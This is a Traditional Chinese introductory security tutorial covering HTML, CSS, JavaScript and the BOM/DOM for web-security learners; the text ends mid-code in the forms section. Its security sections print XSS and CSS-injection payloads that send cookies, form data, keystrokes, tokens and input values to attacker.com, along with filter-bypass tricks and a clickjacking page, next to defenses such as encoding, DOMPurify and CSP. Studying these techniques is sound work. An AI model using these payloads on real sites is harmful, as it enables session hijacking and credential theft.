[資安入門] 006 前端技術完整指南:HTML、CSS、JavaScript 與 BOM/DOM 詳解

前言

在資安領域,尤其是 Web 安全,前端技術知識是不可或缺的。XSS(跨站腳本攻擊)、Clickjacking(點擊劫持)、DOM-based 漏洞⋯⋯這些常見的 Web 攻擊手法,都與前端技術息息相關。

你可能會想:「我是做資安的,不是前端工程師,為什麼要學這些?」

答案很簡單:你必須了解攻擊目標的運作方式,才能有效地進行攻擊或防禦。

這篇文章將帶你從零開始理解 HTML、CSS、JavaScript 的核心概念,並深入解析 BOM 與 DOM 的差異——這些都是進行 Web 安全測試時必須掌握的基礎知識。

為什麼資安人員需要懂前端?

在進入技術細節之前,讓我們看看前端知識在資安工作中的實際應用:

XSS 攻擊與防禦

XSS 是最常見的 Web 漏洞之一。要理解 XSS:
– 你需要知道 HTML 如何被瀏覽器解析
– 你需要知道 JavaScript 如何在瀏覽器中執行
– 你需要知道如何構造有效的 payload

分析惡意網頁

當你需要分析釣魚網站或惡意網頁時:
– 你需要讀懂 HTML 結構
– 你需要理解 JavaScript 程式碼在做什麼
– 你需要知道惡意程式碼如何竊取資料

繞過前端驗證

前端驗證只是使用者體驗的一部分,不能作為安全措施:
– 理解前端驗證的實作方式
– 知道如何繞過這些驗證
– 說服開發者為什麼後端驗證才是關鍵

理解 CSP 與安全標頭

Content Security Policy 是防禦 XSS 的重要機制:
– 需要理解 JavaScript 的載入方式
– 需要理解 inline script 與 external script 的差異
– 需要理解事件處理器如何運作

HTML 基礎

HTML(HyperText Markup Language)是網頁的骨架,定義了網頁的結構和內容。

HTML 文件結構

<!DOCTYPE html>
<html lang="zh-TW">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>網頁標題</title>
    <link rel="stylesheet" href="styles.css">
    <script src="script.js" defer></script>
</head>
<body>
    <!-- 網頁內容放這裡 -->
    <h1>歡迎來到我的網站</h1>
    <p>這是一個段落。</p>
</body>
</html>

結構說明:
<!DOCTYPE html>:宣告這是 HTML5 文件
<html>:根元素,包含整個網頁
<head>:包含 metadata(標題、編碼、CSS/JS 引用)
<body>:包含網頁的可見內容

常見 HTML 標籤

文字與結構標籤

<!-- 標題(h1 最大,h6 最小) -->
<h1>主標題</h1>
<h2>副標題</h2>
<h3>小標題</h3>

<!-- 段落 -->
<p>這是一個段落文字。</p>

<!-- 換行 -->
<br>

<!-- 水平線 -->
<hr>

<!-- 區塊容器 -->
<div>這是一個區塊元素</div>

<!-- 行內容器 -->
<span>這是行內元素</span>

<!-- 強調 -->
<strong>粗體強調</strong>
<em>斜體強調</em>

<!-- 預格式化文字 -->
<pre>
    保留空白和
    換行的文字
</pre>

<!-- 程式碼 -->
<code>console.log('Hello');</code>

連結與圖片

<!-- 超連結 -->
<a href="https://example.com">點我前往</a>
<a href="https://example.com" target="_blank">在新分頁開啟</a>
<a href="mailto:[email protected]">寄送郵件</a>
<a href="javascript:alert('XSS')">JavaScript 連結(危險!)</a>

<!-- 圖片 -->
<img src="image.jpg" alt="圖片說明">
<img src="https://example.com/image.png" alt="外部圖片">

<!-- 圖片也可能成為 XSS 向量 -->
<img src="x" onerror="alert('XSS')">

資安重點:危險的連結協定

<!-- 這些協定可能被用於攻擊 -->
<a href="javascript:alert('XSS')">JavaScript 協定</a>
<a href="data:text/html,<script>alert('XSS')</script>">Data URI</a>
<a href="vbscript:msgbox('XSS')">VBScript(舊版 IE)</a>

<!-- 安全的做法:驗證 URL 協定 -->
<!-- 只允許 http:// 和 https:// -->

清單

<!-- 無序清單 -->
<ul>
    <li>項目一</li>
    <li>項目二</li>
    <li>項目三</li>
</ul>

<!-- 有序清單 -->
<ol>
    <li>第一步</li>
    <li>第二步</li>
    <li>第三步</li>
</ol>

<!-- 描述清單 -->
<dl>
    <dt>術語</dt>
    <dd>術語的定義</dd>
</dl>

表格

<table>
    <thead>
        <tr>
            <th>姓名</th>
            <th>年齡</th>
            <th>職位</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>小明</td>
            <td>25</td>
            <td>工程師</td>
        </tr>
        <tr>
            <td>小華</td>
            <td>30</td>
            <td>設計師</td>
        </tr>
    </tbody>
</table>

表單(Forms)

表單是使用者與網站互動的主要方式,也是資安測試的重點區域。

<form action="/login" method="POST">
    <!-- 文字輸入 -->
    <label for="username">使用者名稱:</label>
    <input type="text" id="username" name="username" required>

    <!-- 密碼輸入 -->
    <label for="password">密碼:</label>
    <input type="password" id="password" name="password" required>

    <!-- 電子郵件 -->
    <label for="email">Email:</label>
    <input type="email" id="email" name="email">

    <!-- 隱藏欄位 -->
    <input type="hidden" name="csrf_token" value="abc123">

    <!-- 核取方塊 -->
    <input type="checkbox" id="remember" name="remember">
    <label for="remember">記住我</label>

    <!-- 單選按鈕 -->
    <input type="radio" id="male" name="gender" value="male">
    <label for="male">男</label>
    <input type="radio" id="female" name="gender" value="female">
    <label for="female">女</label>

    <!-- 下拉選單 -->
    <select name="country">
        <option value="tw">台灣</option>
        <option value="jp">日本</option>
        <option value="us">美國</option>
    </select>

    <!-- 多行文字 -->
    <textarea name="message" rows="4" cols="50"></textarea>

    <!-- 檔案上傳 -->
    <input type="file" name="avatar" accept="image/*">

    <!-- 提交按鈕 -->
    <button type="submit">登入</button>
</form>

表單屬性

<!-- action:表單提交的目標 URL -->
<form action="/submit">

<!-- method:HTTP 方法 -->
<form method="POST">  <!-- 推薦用於敏感資料 -->
<form method="GET">   <!-- 資料會出現在 URL -->

<!-- enctype:編碼類型 -->
<form enctype="application/x-www-form-urlencoded">  <!-- 預設 -->
<form enctype="multipart/form-data">                 <!-- 檔案上傳必須 -->
<form enctype="text/plain">                          <!-- 純文字 -->

<!-- autocomplete:自動完成 -->
<form autocomplete="off">
<input autocomplete="new-password">  <!-- 防止密碼自動填入 -->

資安重點:表單安全

<!-- ❌ 不安全:GET 方法傳送密碼 -->
<form action="/login" method="GET">
    <input type="password" name="password">
</form>
<!-- 密碼會出現在 URL、瀏覽器歷史、伺服器日誌 -->

<!-- ❌ 不安全:沒有 CSRF Token -->
<form action="/transfer" method="POST">
    <input name="amount" value="1000">
    <input name="to" value="attacker">
</form>

<!-- ✓ 安全:使用 POST + CSRF Token -->
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="random-token-here">
    <input name="amount" value="1000">
    <input name="to" value="friend">
</form>

HTML 實體編碼

特殊字元需要編碼才能正確顯示:

字元 實體名稱 實體編號
< < <
> > >
& & &
" "
' '
空格    

資安重點:輸出編碼防止 XSS

<!-- 使用者輸入:<script>alert('XSS')</script> -->

<!-- ❌ 直接輸出(造成 XSS) -->
<p>歡迎,<script>alert('XSS')</script></p>

<!-- ✓ 編碼後輸出(安全) -->
<p>歡迎,<script>alert('XSS')</script></p>
<!-- 瀏覽器顯示:歡迎,<script>alert('XSS')</script> -->
<!-- 但不會執行 -->

HTML5 新特性與安全

<!-- 語意化標籤 -->
<header>網站標頭</header>
<nav>導覽列</nav>
<main>主要內容</main>
<article>文章</article>
<section>區塊</section>
<aside>側邊欄</aside>
<footer>頁尾</footer>

<!-- 多媒體 -->
<video src="video.mp4" controls></video>
<audio src="audio.mp3" controls></audio>

<!-- 畫布(常用於指紋識別) -->
<canvas id="myCanvas"></canvas>

<!-- 本地儲存相關 -->
<script>
    localStorage.setItem('data', 'value');
    sessionStorage.setItem('data', 'value');
</script>

<!-- 地理位置(隱私考量) -->
<script>
    navigator.geolocation.getCurrentPosition(callback);
</script>

CSS 基礎

CSS(Cascading Style Sheets)控制網頁的外觀和樣式。

CSS 引入方式

<!-- 1. 外部樣式表(推薦) -->
<link rel="stylesheet" href="styles.css">

<!-- 2. 內部樣式表 -->
<style>
    body {
        background-color: #f0f0f0;
    }
</style>

<!-- 3. 行內樣式 -->
<p style="color: red; font-size: 16px;">紅色文字</p>

CSS 基本語法

/* 選擇器 { 屬性: 值; } */

/* 元素選擇器 */
p {
    color: blue;
    font-size: 16px;
}

/* Class 選擇器(.開頭) */
.highlight {
    background-color: yellow;
}

/* ID 選擇器(#開頭) */
#header {
    height: 60px;
}

/* 屬性選擇器 */
input[type="text"] {
    border: 1px solid gray;
}

/* 後代選擇器 */
div p {
    margin: 10px;
}

/* 子選擇器 */
div > p {
    padding: 5px;
}

/* 偽類選擇器 */
a:hover {
    color: red;
}

a:visited {
    color: purple;
}

/* 偽元素選擇器 */
p::first-line {
    font-weight: bold;
}

p::before {
    content: "→ ";
}

常用 CSS 屬性

/* 文字樣式 */
.text-example {
    color: #333;                    /* 文字顏色 */
    font-size: 16px;                /* 字體大小 */
    font-family: Arial, sans-serif; /* 字體 */
    font-weight: bold;              /* 粗細 */
    text-align: center;             /* 對齊 */
    text-decoration: underline;     /* 裝飾線 */
    line-height: 1.5;               /* 行高 */
}

/* 盒模型 */
.box-example {
    width: 200px;                   /* 寬度 */
    height: 100px;                  /* 高度 */
    padding: 10px;                  /* 內距 */
    margin: 20px;                   /* 外距 */
    border: 1px solid black;        /* 邊框 */
    box-sizing: border-box;         /* 盒模型計算方式 */
}

/* 背景 */
.bg-example {
    background-color: #f0f0f0;
    background-image: url('bg.jpg');
    background-size: cover;
    background-position: center;
}

/* 定位 */
.position-example {
    position: relative;  /* static, relative, absolute, fixed, sticky */
    top: 10px;
    left: 20px;
    z-index: 100;
}

/* 顯示與可見性 */
.display-example {
    display: block;      /* block, inline, inline-block, flex, grid, none */
    visibility: visible; /* visible, hidden */
    opacity: 0.8;        /* 0 到 1 */
}

/* Flexbox */
.flex-container {
    display: flex;
    justify-content: center;  /* 主軸對齊 */
    align-items: center;      /* 交叉軸對齊 */
    flex-direction: row;      /* row, column */
    gap: 10px;                /* 間距 */
}

CSS 優先順序

當多個規則套用到同一元素時,優先順序決定哪個生效:

!important > 行內樣式 > ID > Class/屬性/偽類 > 元素/偽元素

具體計算(a, b, c, d):
- a: 行內樣式(1 或 0)
- b: ID 選擇器數量
- c: Class/屬性/偽類選擇器數量
- d: 元素/偽元素選擇器數量

範例:
#header .nav li a     → (0, 1, 1, 2) = 112
.nav li a.active      → (0, 0, 2, 2) = 022
div#content p         → (0, 1, 0, 2) = 102

CSS 與資安

CSS Injection

如果攻擊者能注入 CSS,可能造成:

/* 1. 資料外洩:使用屬性選擇器 + 背景圖片 */
input[value^="a"] {
    background: url('https://attacker.com/leak?char=a');
}
input[value^="b"] {
    background: url('https://attacker.com/leak?char=b');
}
/* 逐字元竊取輸入框的值 */

/* 2. UI 偽造 */
.real-button {
    display: none;
}
body::after {
    content: "請輸入密碼";
    position: fixed;
    /* 假造一個登入框 */
}

/* 3. 點擊劫持輔助 */
iframe {
    opacity: 0.01;
    position: absolute;
    z-index: 999;
}

CSS 歷史記錄探測(已修補)

舊版瀏覽器可以透過 :visited 偽類探測使用者瀏覽歷史:

/* 舊的攻擊方式(現代瀏覽器已限制) */
a:visited {
    background: url('https://attacker.com/visited?site=xxx');
}

現代瀏覽器限制了 :visited 可以改變的屬性,只允許修改顏色相關的屬性。

UI Redressing / Clickjacking

<!-- 攻擊者的頁面 -->
<style>
    .overlay {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        opacity: 0.01;  /* 幾乎透明 */
    }
    .fake-button {
        position: absolute;
        top: 100px;
        left: 100px;
    }
</style>

<div class="fake-button">點我領取獎品!</div>
<iframe class="overlay" src="https://bank.com/transfer?to=attacker&amount=1000">
</iframe>

<!-- 使用者以為點擊「領取獎品」,實際上點擊了隱藏的轉帳按鈕 -->

防禦方式:設定 X-Frame-Options 或 CSP frame-ancestors

JavaScript 基礎

JavaScript 是網頁的程式語言,讓網頁具有互動性。對資安人員來說,這是最重要的前端技術。

JavaScript 引入方式

<!-- 1. 外部腳本 -->
<script src="script.js"></script>

<!-- 2. 內部腳本 -->
<script>
    console.log('Hello, World!');
</script>

<!-- 3. 行內事件處理器 -->
<button onclick="alert('Clicked!')">點我</button>

<!-- 4. JavaScript 協定 -->
<a href="javascript:alert('XSS')">連結</a>

<!-- script 標籤屬性 -->
<script src="script.js" defer></script>  <!-- DOM 載入完成後執行 -->
<script src="script.js" async></script>  <!-- 非同步載入並執行 -->

基本語法

// 變數宣告
var oldWay = "舊的方式";     // 函數作用域
let modern = "現代方式";      // 區塊作用域
const constant = "常數";      // 不可重新賦值

// 資料類型
let string = "字串";
let number = 42;
let float = 3.14;
let boolean = true;
let nullValue = null;
let undefinedValue = undefined;
let array = [1, 2, 3];
let object = { name: "John", age: 30 };

// 運算子
let sum = 1 + 2;
let isEqual = (1 == "1");     // true(寬鬆比較)
let isStrictEqual = (1 === "1"); // false(嚴格比較)

// 條件判斷
if (condition) {
    // ...
} else if (anotherCondition) {
    // ...
} else {
    // ...
}

// 三元運算子
let result = condition ? "yes" : "no";

// 迴圈
for (let i = 0; i < 10; i++) {
    console.log(i);
}

while (condition) {
    // ...
}

for (let item of array) {
    console.log(item);
}

for (let key in object) {
    console.log(key, object[key]);
}

// 函數
function greet(name) {
    return "Hello, " + name;
}

// 箭頭函數
const greetArrow = (name) => "Hello, " + name;

// 物件方法
const person = {
    name: "John",
    greet: function() {
        return "Hello, " + this.name;
    },
    // 簡寫
    sayHi() {
        return "Hi!";
    }
};

字串處理

let str = "Hello, World!";

// 常用方法
str.length;              // 13
str.toUpperCase();       // "HELLO, WORLD!"
str.toLowerCase();       // "hello, world!"
str.indexOf("World");    // 7
str.includes("Hello");   // true
str.startsWith("Hello"); // true
str.endsWith("!");       // true
str.slice(0, 5);         // "Hello"
str.split(", ");         // ["Hello", "World!"]
str.replace("World", "JS"); // "Hello, JS!"
str.trim();              // 移除前後空白

// 模板字串
let name = "Alice";
let greeting = `Hello, ${name}!`;  // "Hello, Alice!"
let multiline = `
    這是
    多行
    字串
`;

陣列處理

let arr = [1, 2, 3, 4, 5];

// 基本操作
arr.length;          // 5
arr.push(6);         // 加入末尾
arr.pop();           // 移除末尾
arr.unshift(0);      // 加入開頭
arr.shift();         // 移除開頭
arr.indexOf(3);      // 2
arr.includes(3);     // true
arr.slice(1, 3);     // [2, 3]
arr.splice(1, 2);    // 移除並回傳 [2, 3]

// 高階函數
arr.forEach(item => console.log(item));
arr.map(x => x * 2);           // [2, 4, 6, 8, 10]
arr.filter(x => x > 2);        // [3, 4, 5]
arr.reduce((sum, x) => sum + x, 0); // 15
arr.find(x => x > 3);          // 4
arr.some(x => x > 3);          // true
arr.every(x => x > 0);         // true
arr.sort((a, b) => a - b);     // 排序

物件處理

let obj = {
    name: "John",
    age: 30,
    city: "Taipei"
};

// 存取屬性
obj.name;            // "John"
obj["name"];         // "John"
obj.country = "TW";  // 新增屬性

// 常用方法
Object.keys(obj);    // ["name", "age", "city", "country"]
Object.values(obj);  // ["John", 30, "Taipei", "TW"]
Object.entries(obj); // [["name", "John"], ["age", 30], ...]

// 解構賦值
let { name, age } = obj;

// 展開運算子
let newObj = { ...obj, email: "[email protected]" };

// JSON 轉換
let jsonString = JSON.stringify(obj);
let parsedObj = JSON.parse(jsonString);

事件處理

// 取得元素
let button = document.getElementById('myButton');
let buttons = document.querySelectorAll('.btn');

// 添加事件監聽器
button.addEventListener('click', function(event) {
    console.log('Button clicked!');
    console.log(event.target);  // 被點擊的元素
});

// 常見事件類型
element.addEventListener('click', handler);      // 點擊
element.addEventListener('submit', handler);     // 表單提交
element.addEventListener('keydown', handler);    // 按鍵按下
element.addEventListener('keyup', handler);      // 按鍵釋放
element.addEventListener('mouseover', handler);  // 滑鼠移入
element.addEventListener('mouseout', handler);   // 滑鼠移出
element.addEventListener('focus', handler);      // 獲得焦點
element.addEventListener('blur', handler);       // 失去焦點
element.addEventListener('change', handler);     // 值改變
element.addEventListener('input', handler);      // 輸入
element.addEventListener('load', handler);       // 載入完成
document.addEventListener('DOMContentLoaded', handler); // DOM 載入完成

// 事件物件
element.addEventListener('click', function(event) {
    event.preventDefault();   // 阻止預設行為
    event.stopPropagation(); // 停止事件冒泡
    event.target;            // 觸發事件的元素
    event.currentTarget;     // 綁定事件的元素
    event.type;              // 事件類型
});

// 移除事件監聽器
function handler(event) {
    console.log('Clicked');
}
element.addEventListener('click', handler);
element.removeEventListener('click', handler);

非同步處理

// Callback
function fetchData(callback) {
    setTimeout(() => {
        callback('Data received');
    }, 1000);
}
fetchData(data => console.log(data));

// Promise
function fetchDataPromise() {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve('Data received');
            // 或 reject('Error occurred');
        }, 1000);
    });
}
fetchDataPromise()
    .then(data => console.log(data))
    .catch(error => console.error(error));

// async/await
async function getData() {
    try {
        const response = await fetch('https://api.example.com/data');
        const data = await response.json();
        return data;
    } catch (error) {
        console.error('Error:', error);
    }
}

// Fetch API
fetch('https://api.example.com/users', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({ name: 'John' }),
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));

JavaScript 與資安

XSS 攻擊向量

// 常見的 XSS 注入點

// 1. innerHTML
element.innerHTML = userInput;  // 危險!
element.textContent = userInput; // 安全

// 2. document.write
document.write(userInput);  // 危險!

// 3. eval
eval(userInput);  // 非常危險!

// 4. setTimeout/setInterval 字串形式
setTimeout(userInput, 1000);  // 危險!
setTimeout(() => { /* 安全的程式碼 */ }, 1000);  // 安全

// 5. 動態建立腳本
let script = document.createElement('script');
script.src = userInput;  // 危險!
document.body.appendChild(script);

// 6. location 操作
location.href = userInput;  // 可能危險
location.assign(userInput); // 可能危險

// 7. jQuery 的危險方法
(userInput);  // 如果 userInput 是 HTML,會被解析('#element').html(userInput);  // 危險
$('#element').text(userInput);  // 安全

XSS Payload 範例

// 基本 alert
<script>alert('XSS')</script>

// 事件處理器
<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<svg onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">

// 竊取 Cookie
<script>
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>

// 竊取表單資料
<script>
document.forms[0].action = 'https://attacker.com/phish';
</script>

// 鍵盤記錄
<script>
document.onkeypress = function(e) {
    new Image().src = 'https://attacker.com/log?key=' + e.key;
};
</script>

// 繞過過濾的技巧
<ScRiPt>alert('XSS')</sCrIpT>  // 大小寫混合
<script>alert(String.fromCharCode(88,83,83))</script>  // 編碼
<img src=x onerror=alert`XSS`>  // 模板字串
<a href="javascript:alert('XSS')">  // HTML 實體

安全的程式碼實踐

// ❌ 危險
element.innerHTML = '<div>' + userInput + '</div>';

// ✓ 安全:使用 textContent
element.textContent = userInput;

// ✓ 安全:使用 DOM 方法
const div = document.createElement('div');
div.textContent = userInput;
element.appendChild(div);

// ✓ 安全:使用 DOMPurify 清理 HTML
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

// ✓ 安全:驗證 URL
function isValidUrl(string) {
    try {
        const url = new URL(string);
        return url.protocol === 'http:' || url.protocol === 'https:';
    } catch {
        return false;
    }
}

// ✓ 安全:使用 CSP
// 在 HTTP 標頭中設定
// Content-Security-Policy: default-src 'self'; script-src 'self'

BOM vs DOM

這是前端技術中非常重要的概念,也是資安人員必須理解的內容。

什麼是 BOM?

BOM(Browser Object Model,瀏覽器物件模型)是瀏覽器提供的 API,讓 JavaScript 可以與瀏覽器互動。BOM 不是標準規範,各瀏覽器的實作可能略有不同。

┌─────────────────────────────────────────────────────────────┐
│                         window                               │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  BOM(瀏覽器物件模型)                                │   │
│  │  ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │   │
│  │  │ location │ │ history  │ │navigator │ │  screen  │ │   │
│  │  └──────────┘ └──────────┘ └──────────┘ └──────────┘ │   │
│  │  ┌──────────┐ ┌──────────┐ ┌──────────┐              │   │
│  │  │localStorage│ │sessionStorage│ │  console │       │   │
│  │  └──────────┘ └──────────┘ └──────────┘              │   │
│  └──────────────────────────────────────────────────────┘   │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  DOM(文件物件模型)                                  │   │
│  │  ┌──────────────────────────────────────────────┐    │   │
│  │  │                  document                     │    │   │
│  │  │  ┌────────────────────────────────────────┐  │    │   │
│  │  │  │               <html>                    │  │    │   │
│  │  │  │  ┌──────────┐      ┌──────────────┐    │  │    │   │
│  │  │  │  │  <head>  │      │    <body>    │    │  │    │   │
│  │  │  │  └──────────┘      └──────────────┘    │  │    │   │
│  │  │  └────────────────────────────────────────┘  │    │   │
│  │  └──────────────────────────────────────────────┘    │   │
│  └──────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────┘

什麼是 DOM?

DOM(Document Object Model,文件物件模型)是 HTML 或 XML 文件的程式介面。它將文件表示為節點樹,讓 JavaScript 可以操作網頁內容、結構和樣式。

BOM 與 DOM 的差異

特性 BOM DOM
全名 Browser Object Model Document Object Model
核心物件 window document
功能 與瀏覽器互動 與網頁文件互動
標準化 非正式標準 W3C 標準
範圍 瀏覽器視窗、歷史、位置等 HTML/XML 文件內容
關係 包含 DOM 是 BOM 的一部分

BOM 主要物件

window 物件

window 是 BOM 的頂層物件,代表瀏覽器視窗。在全域作用域中宣告的變數和函數都會成為 window 的屬性。

// window 是全域物件
var globalVar = "I'm global";
console.log(window.globalVar);  // "I'm global"

// 視窗尺寸
window.innerWidth;   // 視窗內部寬度
window.innerHeight;  // 視窗內部高度
window.outerWidth;   // 視窗外部寬度(含工具列)
window.outerHeight;  // 視窗外部高度

// 開啟新視窗
window.open('https://example.com', '_blank');
window.open('https://example.com', '_blank', 'width=500,height=400');

// 關閉視窗
window.close();

// 對話框
window.alert('警告訊息');
window.confirm('確定嗎?');  // 回傳 true 或 false
window.prompt('請輸入姓名:');  // 回傳輸入的字串

// 計時器
let timeoutId = window.setTimeout(() => {
    console.log('3 秒後執行');
}, 3000);
window.clearTimeout(timeoutId);

let intervalId = window.setInterval(() => {
    console.log('每秒執行');
}, 1000);
window.clearInterval(intervalId);

// 捲動
window.scrollTo(0, 500);
window.scrollBy(0, 100);

location 物件

location 包含當前 URL 的資訊,也可以用來導航。

// 當前 URL: https://www.example.com:8080/path/page.html?name=john&age=30#section1

location.href;      // 完整 URL
location.protocol;  // "https:"
location.host;      // "www.example.com:8080"
location.hostname;  // "www.example.com"
location.port;      // "8080"
location.pathname;  // "/path/page.html"
location.search;    // "?name=john&age=30"
location.hash;      // "#section1"
location.origin;    // "https://www.example.com:8080"

// 解析查詢字串
const params = new URLSearchParams(location.search);
params.get('name');  // "john"
params.get('age');   // "30"

// 頁面導航
location.href = 'https://example.com';     // 導航到新頁面(有歷史記錄)
location.assign('https://example.com');    // 同上
location.replace('https://example.com');   // 導航但不留歷史記錄
location.reload();                          // 重新載入頁面
location.reload(true);                      // 強制從伺服器重新載入
資安應用:Open Redirect
// ❌ 危險:未驗證的重導向
const redirectUrl = new URLSearchParams(location.search).get('redirect');
location.href = redirectUrl;
// 攻擊者可以構造: ?redirect=https://evil.com

// ✓ 安全:驗證重導向目標
const redirectUrl = new URLSearchParams(location.search).get('redirect');
const allowedDomains = ['example.com', 'sub.example.com'];
try {
    const url = new URL(redirectUrl, location.origin);
    if (allowedDomains.includes(url.hostname)) {
        location.href = redirectUrl;
    } else {
        location.href = '/';  // 導向首頁
    }
} catch {
    location.href = '/';
}

history 物件

history 讓你可以操作瀏覽器的歷史記錄。

// 歷史記錄導航
history.back();     // 上一頁
history.forward();  // 下一頁
history.go(-2);     // 往前 2 頁
history.go(1);      // 往後 1 頁

// 歷史記錄長度
history.length;

// HTML5 History API
history.pushState({ page: 1 }, 'Title', '/new-url');    // 新增歷史記錄
history.replaceState({ page: 2 }, 'Title', '/another'); // 取代當前記錄

// 監聽歷史變化
window.addEventListener('popstate', function(event) {
    console.log('Location changed to:', location.href);
    console.log('State:', event.state);
});

navigator 物件

navigator 包含瀏覽器和系統的資訊。

// 瀏覽器資訊
navigator.userAgent;     // 使用者代理字串
navigator.language;      // 瀏覽器語言
navigator.languages;     // 偏好語言列表
navigator.platform;      // 作業系統平台
navigator.cookieEnabled; // Cookie 是否啟用
navigator.onLine;        // 是否在線

// 地理位置(需要使用者授權)
navigator.geolocation.getCurrentPosition(
    position => {
        console.log(position.coords.latitude);
        console.log(position.coords.longitude);
    },
    error => {
        console.error(error);
    }
);

// 剪貼簿(需要使用者授權)
navigator.clipboard.writeText('複製的文字');
navigator.clipboard.readText().then(text => console.log(text));

// 媒體裝置
navigator.mediaDevices.getUserMedia({ video: true, audio: true })
    .then(stream => { /* 使用攝影機/麥克風 */ });
資安應用:瀏覽器指紋
// 這些資訊可以用於追蹤使用者(即使沒有 Cookie)
const fingerprint = {
    userAgent: navigator.userAgent,
    language: navigator.language,
    platform: navigator.platform,
    screenResolution: `{screen.width}x{screen.height}`,
    colorDepth: screen.colorDepth,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    plugins: Array.from(navigator.plugins).map(p => p.name),
    // 還可以加入 Canvas 指紋、WebGL 指紋等
};

screen 物件

screen 包含使用者螢幕的資訊。

screen.width;       // 螢幕寬度
screen.height;      // 螢幕高度
screen.availWidth;  // 可用寬度(扣除工作列)
screen.availHeight; // 可用高度
screen.colorDepth;  // 色彩深度
screen.pixelDepth;  // 像素深度

localStorage 與 sessionStorage

Web Storage API 提供在瀏覽器儲存資料的方式。

// localStorage:永久儲存(直到手動清除)
localStorage.setItem('key', 'value');
localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();

// sessionStorage:分頁關閉後清除
sessionStorage.setItem('key', 'value');
sessionStorage.getItem('key');
sessionStorage.removeItem('key');
sessionStorage.clear();

// 儲存物件(需要 JSON 轉換)
localStorage.setItem('user', JSON.stringify({ name: 'John', age: 30 }));
const user = JSON.parse(localStorage.getItem('user'));

// 監聽 storage 變化(跨分頁)
window.addEventListener('storage', function(event) {
    console.log('Key:', event.key);
    console.log('Old value:', event.oldValue);
    console.log('New value:', event.newValue);
});
資安注意事項
// ❌ 不要在 localStorage 儲存敏感資料
localStorage.setItem('token', 'secret-jwt-token');  // 容易被 XSS 竊取

// XSS 攻擊可以輕易讀取 localStorage
// <script>
//   new Image().src = 'https://attacker.com/steal?token=' + localStorage.getItem('token');
// </script>

// ✓ 敏感資料應該使用 HttpOnly Cookie
// 或使用更安全的儲存機制

DOM 主要物件

document 物件

document 代表整個 HTML 文件,是 DOM 操作的入口點。

// 取得元素
document.getElementById('myId');
document.getElementsByClassName('myClass');
document.getElementsByTagName('div');
document.querySelector('.myClass');        // 第一個符合的
document.querySelectorAll('.myClass');     // 所有符合的

// 文件資訊
document.title;           // 網頁標題
document.URL;             // 網頁 URL
document.domain;          // 網域
document.referrer;        // 來源頁面
document.cookie;          // Cookie
document.lastModified;    // 最後修改時間
document.readyState;      // 載入狀態
document.characterSet;    // 字元編碼

// 特殊元素
document.documentElement; // <html>
document.head;            // <head>
document.body;            // <body>
document.forms;           // 所有表單
document.images;          // 所有圖片
document.links;           // 所有連結
document.scripts;         // 所有腳本

// 建立元素
document.createElement('div');
document.createTextNode('文字內容');
document.createDocumentFragment();

// 寫入內容
document.write('<p>Hello</p>');  // 不建議使用
document.writeln('<p>Hello</p>');

DOM 節點操作

// 取得元素
const element = document.getElementById('myElement');

// 節點關係
element.parentNode;        // 父節點
element.parentElement;     // 父元素
element.childNodes;        // 所有子節點(含文字節點)
element.children;          // 所有子元素
element.firstChild;        // 第一個子節點
element.firstElementChild; // 第一個子元素
element.lastChild;         // 最後一個子節點
element.lastElementChild;  // 最後一個子元素
element.previousSibling;   // 前一個兄弟節點
element.nextSibling;       // 下一個兄弟節點
element.previousElementSibling; // 前一個兄弟元素
element.nextElementSibling;     // 下一個兄弟元素

// 新增節點
const newElement = document.createElement('div');
newElement.textContent = '新元素';
element.appendChild(newElement);           // 加入末尾
element.insertBefore(newElement, refNode); // 插入到參考節點前
element.prepend(newElement);               // 加入開頭
element.append(newElement);                // 加入末尾
element.before(newElement);                // 插入到元素前
element.after(newElement);                 // 插入到元素後

// 移除節點
element.removeChild(childNode);
childNode.remove();

// 替換節點
element.replaceChild(newNode, oldNode);
oldNode.replaceWith(newNode);

// 複製節點
element.cloneNode();       // 淺複製
element.cloneNode(true);   // 深複製(含子節點)

元素屬性操作

const element = document.getElementById('myElement');

// 標準屬性
element.id = 'newId';
element.className = 'class1 class2';
element.href = 'https://example.com';
element.src = 'image.jpg';

// classList API
element.classList.add('newClass');
element.classList.remove('oldClass');
element.classList.toggle('active');
element.classList.contains('active');
element.classList.replace('old', 'new');

// 自訂屬性
element.getAttribute('data-id');
element.setAttribute('data-id', '123');
element.removeAttribute('data-id');
element.hasAttribute('data-id');

// dataset API(data-* 屬性)
// <div data-user-id="123" data-role="admin">
element.dataset.userId;   // "123"
element.dataset.role;     // "admin"
element.dataset.newProp = 'value';

// 內容操作
element.innerHTML;        // HTML 內容(可執行腳本)
element.outerHTML;        // 包含自身的 HTML
element.textContent;      // 純文字內容(安全)
element.innerText;        // 可見文字內容

// 樣式操作
element.style.color = 'red';
element.style.backgroundColor = 'blue';
element.style.cssText = 'color: red; background: blue;';
getComputedStyle(element).color;  // 取得計算後的樣式

表單操作

// 取得表單
const form = document.getElementById('myForm');

// 表單元素
form.elements;                    // 所有表單元素
form.elements['username'];        // 透過 name 取得
form.elements[0];                 // 透過索引取得

// 表單值
const input = document.getElementById('username');
input.value;                      // 取得值
input.value = 'newValue';         // 設定值
input.type;                       // 輸入類型

// 核取方塊和單選按鈕
checkbox.checked;                 // true 或 false
radio.checked;

// 下拉選單
select.value;                     // 選中的值
select.selectedIndex;             // 選中的索引
select.options;                   // 所有選項
select.options[select.selectedIndex].text; // 選中的文字

// 表單事件
form.addEventListener('submit', function(event) {
    event.preventDefault();  // 阻止表單提交
